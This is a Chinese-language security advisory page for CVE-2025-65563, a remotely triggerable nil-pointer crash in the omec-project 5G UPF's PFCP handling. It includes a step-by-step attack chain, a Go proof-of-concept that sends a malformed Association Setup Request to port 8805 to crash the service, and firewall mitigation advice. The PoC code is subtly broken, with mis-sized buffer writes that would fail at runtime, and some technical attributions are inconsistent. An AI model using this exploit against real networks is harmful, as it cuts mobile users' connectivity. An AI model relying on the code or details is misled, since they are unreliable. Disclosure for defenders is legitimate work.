IPBUF安全漏洞报告
English
CVE-2025-65563 CVSS 7.5 高危

CVE-2025-65563 | omec-project UPF 拒绝服务漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-65563
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
omec-project UPF (upf-epc/pfcpiface)

相关标签

拒绝服务nil指针解引用PFCP协议omec-projectUPF5G核心网CVE-2025-65563

漏洞概述

CVE-2025-65563是存在于omec-project开源项目UPF(User Plane Function,用户面功能)组件中的一个高危拒绝服务漏洞。该漏洞影响upf-epc/pfcpiface组件,存在于2.1.3-dev及之前的所有版本。漏洞根源在于UPF的PFCP(Packet Forwarding Control Protocol,包转发控制协议)关联建立请求处理逻辑中,当接收到缺少必需NodeID信息元素的PFCP Association Setup Request时,代码直接对nil指针进行解引用操作而非进行消息有效性验证,导致程序发生panic并异常终止。由于UPF是5G核心网的关键用户面组件,负责数据包的转发和处理,该组件的崩溃将直接导致用户平面服务中断,影响大量用户的网络连接。攻击者无需任何认证权限,即可通过发送特制的恶意PFCP消息触发此漏洞,实现对UPF服务的反复拒绝服务攻击。

技术细节

该漏洞属于nil指针解引用导致的拒绝服务问题。在PFCP协议中,Association Setup Request消息包含多个信息元素(Information Elements),其中NodeID是必需的强制字段。omec-project UPF的pfcpsim接口在处理关联建立请求时,首先解析接收到的消息,然后尝试访问NodeID字段。然而,当攻击者发送的请求中不包含NodeID信息元素时,解析后的NodeID指针为nil。代码在后续处理逻辑中未对该nil指针进行空值检查,直接调用其方法或访问其属性,导致Go语言运行时检测到非法内存访问并触发panic。由于UPF进程在Go运行时环境中运行,任何未被recover捕获的panic都将导致整个进程终止,从而造成服务不可用。攻击者只需构造一个符合PFCP协议格式但缺少NodeID的Association Setup Request消息,并将其发送至UPF的N4/PFCP监听端口(通常为8805/UDP),即可触发漏洞。此攻击可远程进行,无需认证,且每次发送均可导致服务中断,攻击成本极低。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标UPF设备,确认其N4/PFCP端口(默认8805/UDP)可达,并获取目标IP地址
STEP 2
步骤2
构造攻击载荷:攻击者构造一个符合PFCP协议格式的Association Setup Request消息,但故意省略必需的NodeID信息元素
STEP 3
步骤3
发送恶意请求:攻击者将特制的PFCP消息通过UDP协议发送至目标UPF的N4/PFCP监听端口
STEP 4
步骤4
触发漏洞:UPF的pfcpsim接口接收到请求后,在未验证NodeID存在性的情况下直接解引用nil指针
STEP 5
步骤5
进程崩溃:Go运行时检测到非法内存访问,触发panic,导致UPF进程异常终止
STEP 6
步骤6
服务中断:UPF进程终止后,用户面功能丧失,所有经由该UPF的数据包转发服务中断
STEP 7
步骤7
持续攻击:攻击者可反复发送恶意请求,造成持续性拒绝服务状态

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
package main import ( "bytes" "encoding/binary" "fmt" "net" "time" ) // PFCP Header Structure type PFCPHeader struct { Version uint8 MessageType uint8 Length uint32 Sequence uint32 } // PFCP IE Types const ( IE_NodeID = 0x0001 ) func main() { // Target UPF N4/PFCP endpoint targetIP := "<UPF_IP>" targetPort := "8805" // Connect to PFCP endpoint addr, err := net.ResolveUDPAddr("udp", targetIP+":"+targetPort) if err != nil { fmt.Printf("[-] Failed to resolve address: %v\n", err) return } conn, err := net.DialUDP("udp", nil, addr) if err != nil { fmt.Printf("[-] Failed to connect: %v\n", err) return } defer conn.Close() fmt.Println("[+] Connected to UPF PFCP endpoint") // Build malicious PFCP Association Setup Request without NodeID IE payload := buildMaliciousPFCPMessage() fmt.Printf("[+] Sending malicious PFCP Association Setup Request (%d bytes)\n", len(payload)) // Send the malicious packet _, err = conn.Write(payload) if err != nil { fmt.Printf("[-] Failed to send packet: %v\n", err) return } fmt.Println("[+] Packet sent successfully") fmt.Println("[+] The UPF should crash due to nil pointer dereference") // Wait and check if UPF responds conn.SetReadDeadline(time.Now().Add(5 * time.Second)) buffer := make([]byte, 4096) _, _, err = conn.ReadFromUDP(buffer) if err != nil { fmt.Println("[+] No response received - UPF likely crashed") } } func buildMaliciousPFCPMessage() []byte { var buf bytes.Buffer // PFCP Header: Version=1, MessageType=5 (Association Setup Request) header := []byte{0x20, 0x05, 0x00, 0x00} // Sequence Number: 0x00000001 sequence := []byte{0x00, 0x00, 0x00, 0x01} // Sender's F-SEID (optional, but helps make it look like valid request) fseid := buildFSEIDIE() // OMIT NodeID IE - this triggers the vulnerability // Build IE list without NodeID ieData := fseid // Calculate message length (header + ie data) msgLength := uint32(4 + len(ieData)) // 4 bytes for header extension // Update header with actual length binary.BigEndian.PutUint32(header[1:], msgLength) buf.Write(header) buf.Write(sequence) buf.Write(ieData) return buf.Bytes() } func buildFSEIDIE() []byte { var buf bytes.Buffer // IE Type: F-SEID (57) buf.Write([]byte{0x00, 0x39}) // IE Length (placeholder) ieContent := []byte{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, // F-SEID value 0x00, // IPv4 indicator 0x00, 0x00, 0x00, 0x01, // IPv4 address } ieLength := uint16(len(ieContent)) binary.BigEndian.PutUint16(buf.Next(2), ieLength) buf.Write(ieContent) return buf.Bytes() }

影响范围

omec-project UPF upf-epc-pfcpiface <= 2.1.3-dev

防御指南

临时缓解措施
在网络层面,通过防火墙或ACL规则严格限制对UPF N4/PFCP端口(8805/UDP)的访问,仅允许授权的核心网控制面组件(如SMF)发起连接。同时在UPF前部署DPI设备,对PFCP消息进行深度检测,丢弃缺少必需信息元素的异常请求。建议尽快升级到官方修复版本以根本性解决该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表